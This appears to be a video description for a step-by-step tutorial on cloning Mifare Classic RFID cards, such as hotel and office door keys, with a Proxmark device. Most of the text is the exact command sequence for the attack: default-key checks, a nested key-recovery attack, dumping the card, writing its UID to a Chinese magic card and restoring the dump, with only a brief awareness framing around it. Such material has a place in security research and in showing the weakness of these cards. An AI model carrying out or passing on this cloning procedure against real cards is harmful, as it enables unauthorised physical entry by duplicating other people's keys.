Copying Mifare cards with a proxmark - full step by step instructions

How to copy a Mifare classic card, often used to secure hotel rooms and offices, quickly and easily. Once you know how easy it is you wont leave your rfid door key unprotected. Commands used in this video are hf search - search for high frequency tags hf mf chk *1 ? d - check a mifare classic card for default keys hf mf nested 1 0 B FFFFFFFFFFFF d - nested attack where key 0 B is FFFFFFFFFFFF and its a 1k card hf mf dump - dump a 1k card where you have the keys already dumped as above hf mf csetuid 8DC8DBBF 0004 08 - set the UID, ATQA and SAK of a Chinese card hf mf restore 1 - restore a 1k card - as the UID has been set above the image will be automatically picked and restored follow me on twitter here   / quentynblog   all kit available from www.lab401.com Have fun - be responsible and let me know what you want to see in the comments below